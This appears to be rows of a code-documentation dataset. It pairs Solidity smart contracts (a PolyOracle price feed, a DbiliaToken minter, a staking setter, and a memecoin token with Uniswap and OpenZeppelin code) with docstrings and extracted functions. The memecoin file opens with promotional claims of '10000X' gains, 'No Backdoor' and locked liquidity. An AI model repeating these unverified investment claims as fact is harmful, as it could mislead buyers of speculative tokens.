pragma solidity 0.5.8; import "../external/oraclizeAPI.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "../interfaces/IOracle.sol"; contract PolyOracle is usingOraclize, IOracle, Ownable { using SafeMath for uint256; /*solium-disable-next-line max-len*/ string public oracleURL = "[URL] json(https://pro-api.coinmarketcap.com/v1/cryptocurrency/quotes/latest?id=2496&convert=USD&CMC_PRO_API_KEY=${[decrypt] BCA0Bqxmn3jkSENepaHxQv09Z/vGdEO9apO+B9RplHyV3qOL/dw5Indlei3hoXrGk9G14My8MFpHJycB7UoVnl+4mlzEsjTlS2UBAYVrl0fAepfiSyM30/GMZAoJmDagY+0YyNZvpkgXn86Q/59Bi48PWEet}).data.\"2496\".quote.USD.price"; string public oracleQueryType = "nested"; uint256 public sanityBounds = 20 * 10 ** 16; uint256 public gasLimit = 100000; uint256 public oraclizeTimeTolerance = 5 minutes; uint256 public staleTime = 6 hours; // POLYUSD poly units = 1 * 10^18 USD units (1 USD) uint256 private POLYUSD; uint256 public latestUpdate; uint256 public latestScheduledUpdate; mapping(bytes32 => uint256) public requestIds; mapping(bytes32 => bool) public ignoreRequestIds; mapping(address => bool) public admin; bool public freezeOracle; event PriceUpdated(uint256 _price, uint256 _oldPrice, bytes32 _queryId, uint256 _time); event NewOraclizeQuery(uint256 _time, bytes32 _queryId, string _query); event AdminSet(address _admin, bool _valid); event StalePriceUpdate(bytes32 _queryId, uint256 _time, string _result); modifier isAdminOrOwner() { require(admin[msg.sender] || msg.sender == owner(), "Address is not admin or owner"); _; } /** * @notice Constructor - accepts ETH to initialise a balance for subsequent Oraclize queries */ constructor() public payable { // Use 50 gwei for now oraclize_setCustomGasPrice(50 * 10 ** 9); } /** * @notice Oraclize callback (triggered by Oraclize) * @param _requestId requestId corresponding to Oraclize query * @param _result data returned by Oraclize URL query */ function __callback(bytes32 _requestId, string memory _result) public { require(msg.sender == oraclize_cbAddress(), "Only Oraclize can access this method"); require(!freezeOracle, "Oracle is frozen"); require(!ignoreRequestIds[_requestId], "Ignoring requestId"); if (requestIds[_requestId] < latestUpdate) { // Result is stale, probably because it was received out of order emit StalePriceUpdate(_requestId, requestIds[_requestId], _result); return; } require(requestIds[_requestId] >= latestUpdate, "Result is stale"); /*solium-disable-next-line security/no-block-members*/ require(requestIds[_requestId] <= now + oraclizeTimeTolerance, "Result is early"); uint256 newPOLYUSD = parseInt(_result, 18); uint256 bound = POLYUSD.mul(sanityBounds).div(10 ** 18); if (latestUpdate != 0) { require(newPOLYUSD <= POLYUSD.add(bound), "Result is too large"); require(newPOLYUSD >= POLYUSD.sub(bound), "Result is too small"); } latestUpdate = requestIds[_requestId]; emit PriceUpdated(newPOLYUSD, POLYUSD, _requestId, latestUpdate); POLYUSD = newPOLYUSD; } /** * @notice Allows owner to schedule future Oraclize calls * @param _times UNIX timestamps to schedule Oraclize calls as of. Empty list means trigger an immediate query. */ function schedulePriceUpdatesFixed(uint256[] memory _times) public payable isAdminOrOwner { bytes32 requestId; uint256 maximumScheduledUpdated; if (_times.length == 0) { require(oraclize_getPrice(oracleQueryType, gasLimit) <= address(this).balance, "Insufficient Funds"); requestId = oraclize_query(oracleQueryType, oracleURL, gasLimit); /*solium-disable-next-line security/no-block-members*/ requestIds[requestId] = now; /*solium-disable-next-line security/no-block-members*/ maximumScheduledUpdated = now; /*solium-disable-next-line security/no-block-members*/ emit NewOraclizeQuery(now, requestId, oracleURL); } else { require(oraclize_getPrice(oracleQueryType, gasLimit) * _times.length <= address(this).balance, "Insufficient Funds"); for (uint256 i = 0; i < _times.length; i++) { /*solium-disable-next-line security/no-block-members*/ require(_times[i] >= now, "Past scheduling is not allowed and scheduled time should be absolute timestamp"); requestId = oraclize_query(_times[i], oracleQueryType, oracleURL, gasLimit); requestIds[requestId] = _times[i]; if (maximumScheduledUpdated < requestIds[requestId]) { maximumScheduledUpdated = requestIds[requestId]; } emit NewOraclizeQuery(_times[i], requestId, oracleURL); } } if (latestScheduledUpdate < maximumScheduledUpdated) { latestScheduledUpdate = maximumScheduledUpdated; } } /** * @notice Allows owner to schedule future Oraclize calls on a rolling schedule * @param _startTime UNIX timestamp for the first scheduled Oraclize query * @param _interval how long (in seconds) between each subsequent Oraclize query * @param _iters the number of Oraclize queries to schedule. */ function schedulePriceUpdatesRolling(uint256 _startTime, uint256 _interval, uint256 _iters) public payable isAdminOrOwner { bytes32 requestId; require(_interval > 0, "Interval between scheduled time should be greater than zero"); require(_iters > 0, "No iterations specified"); /*solium-disable-next-line security/no-block-members*/ require(_startTime >= now, "Past scheduling is not allowed and scheduled time should be absolute timestamp"); require(oraclize_getPrice(oracleQueryType, gasLimit) * _iters <= address(this).balance, "Insufficient Funds"); for (uint256 i = 0; i < _iters; i++) { uint256 scheduledTime = _startTime + (i * _interval); requestId = oraclize_query(scheduledTime, oracleQueryType, oracleURL, gasLimit); requestIds[requestId] = scheduledTime; emit NewOraclizeQuery(scheduledTime, requestId, oracleURL); } if (latestScheduledUpdate < requestIds[requestId]) { latestScheduledUpdate = requestIds[requestId]; } } /** * @notice Allows owner to manually set POLYUSD price * @param _price POLYUSD price */ function setPOLYUSD(uint256 _price) public onlyOwner { /*solium-disable-next-line security/no-block-members*/ emit PriceUpdated(_price, POLYUSD, 0, now); POLYUSD = _price; /*solium-disable-next-line security/no-block-members*/ latestUpdate = now; } /** * @notice Allows owner to set oracle to ignore all Oraclize pricce updates * @param _frozen true to freeze updates, false to reenable updates */ function setFreezeOracle(bool _frozen) public onlyOwner { freezeOracle = _frozen; } /** * @notice Allows owner to set URL used in Oraclize queries * @param _oracleURL URL to use */ function setOracleURL(string memory _oracleURL) public onlyOwner { oracleURL = _oracleURL; } /** * @notice Allows owner to set type used in Oraclize queries * @param _oracleQueryType to use */ function setOracleQueryType(string memory _oracleQueryType) public onlyOwner { oracleQueryType = _oracleQueryType; } /** * @notice Allows owner to set new sanity bounds for price updates * @param _sanityBounds sanity bounds as a percentage * 10**16 */ function setSanityBounds(uint256 _sanityBounds) public onlyOwner { sanityBounds = _sanityBounds; } /** * @notice Allows owner to set new gas price for future Oraclize queries * @notice NB - this will only impact newly scheduled Oraclize queries, not future queries which have already been scheduled * @param _gasPrice gas price to use for Oraclize callbacks */ function setGasPrice(uint256 _gasPrice) public onlyOwner { oraclize_setCustomGasPrice(_gasPrice); } /** * @notice Returns price and corresponding update time * @return latest POLYUSD price * @return timestamp of latest price update */ function getPriceAndTime() public view returns(uint256, uint256) { return (POLYUSD, latestUpdate); } /** * @notice Allows owner to set new gas limit on Oraclize queries * @notice NB - this will only impact newly scheduled Oraclize queries, not future queries which have already been scheduled * @param _gasLimit gas limit to use for Oraclize callbacks */ function setGasLimit(uint256 _gasLimit) public isAdminOrOwner { gasLimit = _gasLimit; } /** * @notice Allows owner to set time after which price is considered stale * @param _staleTime elapsed time after which price is considered stale */ function setStaleTime(uint256 _staleTime) public onlyOwner { staleTime = _staleTime; } /** * @notice Allows owner to ignore specific requestId results from Oraclize * @param _requestIds Oraclize queryIds (as logged out when Oraclize query is scheduled) * @param _ignore whether or not they should be ignored */ function setIgnoreRequestIds(bytes32[] memory _requestIds, bool[] memory _ignore) public onlyOwner { require(_requestIds.length == _ignore.length, "Incorrect parameter lengths"); for (uint256 i = 0; i < _requestIds.length; i++) { ignoreRequestIds[_requestIds[i]] = _ignore[i]; } } /** * @notice Allows owner to set up admin addresses that can schedule updates * @param _admin Admin address * @param _valid Whether address should be added or removed from admin list */ function setAdmin(address _admin, bool _valid) public onlyOwner { admin[_admin] = _valid; /*solium-disable-next-line security/no-block-members*/ emit AdminSet(_admin, _valid); } /** * @notice Allows owner to set new time tolerance on Oraclize queries * @param _oraclizeTimeTolerance amount of time in seconds that an Oraclize query can be early */ function setOraclizeTimeTolerance(uint256 _oraclizeTimeTolerance) public onlyOwner { oraclizeTimeTolerance = _oraclizeTimeTolerance; } /** * @notice Returns address of oracle currency (0x0 for ETH) */ function getCurrencyAddress() external view returns(address) { return 0x9992eC3cF6A55b00978cdDF2b27BC6882d88D1eC; } /** * @notice Returns symbol of oracle currency (0x0 for ETH) */ function getCurrencySymbol() external view returns(bytes32) { return bytes32("POLY"); } /** * @notice Returns denomination of price */ function getCurrencyDenominated() external view returns(bytes32) { return bytes32("USD"); } /** * @notice Returns price - should throw if not valid */ function getPrice() external returns(uint256) { /*solium-disable-next-line security/no-block-members*/ require(latestUpdate >= now - staleTime, "Invalid price"); return POLYUSD; } /** * @notice Returns balance to owner */ function drainContract() external onlyOwner { msg.sender.transfer(address(this).balance); } }
Allows owner to ignore specific requestId results from Oraclize _requestIds Oraclize queryIds (as logged out when Oraclize query is scheduled) _ignore whether or not they should be ignored/
function setIgnoreRequestIds(bytes32[] memory _requestIds, bool[] memory _ignore) public onlyOwner { require(_requestIds.length == _ignore.length, "Incorrect parameter lengths"); for (uint256 i = 0; i < _requestIds.length; i++) { ignoreRequestIds[_requestIds[i]] = _ignore[i]; } }
5,396,807
// // DbiliaToken.sol // Dbilia // // Created by Tony on 2021-06-23 // Copyright © 2021 Dbilia Digital Memorabilia. All Rights Reserved. // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; /// @notice A Simple Custom Token contract DbiliaToken is Ownable { /// @notice The even triggered when a new token generated through mintWithUSD event NewTokenWithUSD(address indexed owner, uint256 tokenId); /// @notice The even triggered when a new token generated through mintWithETH event NewTokenWithETH(address indexed owner, uint256 tokenId); /// @notice Indicates the owner of each individual token mapping(uint256 => address) public owners; /// @notice Indicates the URI of each individual Token mapping(uint256 => string) public uris; /// @notice Indicates Card used for payment mapping(bytes32 => address) private cards; /// @notice The Id of last token uint256 private lastTokenId; /// @notice Dbilia mints token on the user's behalf function mintWithUSD( address userId, uint256 cardId, uint256 edition, string memory tokenURI ) external onlyOwner { require(userId != address(0), "Dbilia: Invalid User Id."); uint256 tokenId = _mint(userId, cardId, edition, tokenURI); emit NewTokenWithUSD(userId, tokenId); } /// @notice user mints token function mintWithETH( uint256 cardId, uint256 edition, string memory tokenURI ) external payable { require(msg.value >= (9 wei), "Dbilia: Insufficient ETH to mint."); uint256 tokenId = _mint(msg.sender, cardId, edition, tokenURI); emit NewTokenWithETH(msg.sender, tokenId); } /// @notice Gets the owner of given token /// @return address - The owner function ownerOf(uint256 _tokenId) public view returns (address) { return owners[_tokenId]; } /// @notice mint a new token /// @return uint - The new token's Id function _mint( address _owner, uint256 _cardId, uint256 _edition, string memory _tokenURI ) private returns (uint256) { bytes32 cardKey = _getCardKey(_cardId, _edition); require(cards[cardKey] == address(0), "Dbilia: User had used the card already."); cards[cardKey] = _owner; uint256 tokenId = _generateTokenId(); owners[tokenId] = _owner; uris[tokenId] = _tokenURI; return tokenId; } /// @notice Generates a new unique token Id /// @return uint - The new generated token Id function _generateTokenId() private returns (uint256) { return ++lastTokenId; } /// @notice Generate hash for card /// @return bytes32 - The hash value function _getCardKey(uint256 _cardId, uint256 _edition) private pure returns (bytes32) { return keccak256(abi.encodePacked(_cardId, _edition)); } }
Generates a new unique token Id return uint - The new generated token Id
function _generateTokenId() private returns (uint256) { return ++lastTokenId; }
5,423,957
./partial_match/1/0xdefac16715671b7b6aeeFE012125f1E19Ee4b7d7/sources/_PrimeToken.sol
Configure staking parameters. Blockwell Exclusive (Intellectual Property that lives on-chain via Smart License)/
function configureStaking(uint256 unstakeDelay) public onlyAdminOrAttorney { unstakingDelay = unstakeDelay; }
2,630,707
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ /* If you’ve ever been scammed, please join us. This is a community token, It was created to provide a safe, equal opportunity for those of us retail investor who have been scammed. Before you buy please check: 💚Fair Launch! 💻No Dev Tokens No mint code No Backdoor 👎Anti-sniper & Anti-bot scripting 🐳Anti-whale Max buy/sell limit 🔐LP send to team.finance for 30days, if the response is good, I will continue to extend it 📜Contract renounced on Launch! 💎1000 Billion Supply and 50% to burn address! 🎁Auto-farming to All Holders! 💰Tax: 8% => Burn: 4% | LP: 4% Can you make this token 10000X? Hope you have diamond hand Telegram:@Fuck_Scammerss */ // SPDX-License-Identifier: MIT // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/libs/IBEP20.sol pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, 